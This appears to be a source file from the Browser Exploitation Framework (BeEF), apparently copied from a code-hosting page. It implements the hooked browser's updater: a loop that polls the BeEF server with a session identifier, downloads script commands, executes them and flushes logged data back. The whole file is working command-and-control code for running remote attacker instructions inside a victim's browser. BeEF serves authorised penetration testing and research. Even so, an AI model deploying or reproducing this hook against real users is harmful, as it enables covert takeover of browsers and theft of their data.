90 lines
2.4 KiB
JavaScript
90 lines
2.4 KiB
JavaScript
//
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// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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/*!
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* @Literal object: beef.updater
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*
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* Object in charge of getting new commands from the BeEF framework and execute them.
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*/
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beef.updater = {
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// Low timeouts combined with the way the framework sends commamd modules result
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// in instructions being sent repeatedly or complex code.
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// If you suffer from ADHD, you can decrease this setting.
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xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
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// A lock.
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lock: false,
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// An object containing all values to be registered and sent by the updater.
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objects: new Object(),
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/*
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* Registers an object to always send when requesting new commands to the framework.
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* @param: {String} the name of the object.
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* @param: {String} the value of that object.
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*
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* @example: beef.updater.regObject('java_enabled', 'true');
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*/
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regObject: function(key, value) {
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this.objects[key] = escape(value);
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},
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// Checks for new commands from the framework and runs them.
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check: function() {
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if(this.lock == false) {
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if (beef.logger.running) {
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beef.logger.queue();
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}
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beef.net.flush();
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if(beef.commands.length > 0) {
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this.execute_commands();
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}else {
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this.get_commands(); /*Polling*/
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}
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}
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// ( typeof beef.websocket === "undefined")
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setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
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},
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// Gets new commands from the framework.
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get_commands: function(http_response) {
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try {
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this.lock = true;
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beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
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if (response.body != null && response.body.length > 0)
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beef.updater.execute_commands();
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});
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} catch(e) {
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this.lock = false;
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return;
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}
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this.lock = false;
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},
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// Executes the received commands if any.
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execute_commands: function() {
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if(beef.commands.length == 0) return;
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this.lock = true;
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/*here execute the command */
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while(beef.commands.length > 0) {
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command = beef.commands.pop();
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try {
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command();
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} catch(e) {
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console.error('execute_commands - command failed to execute: ' + e.message);
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}
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}
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this.lock = false;
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}
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};
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beef.regCmp('beef.updater');
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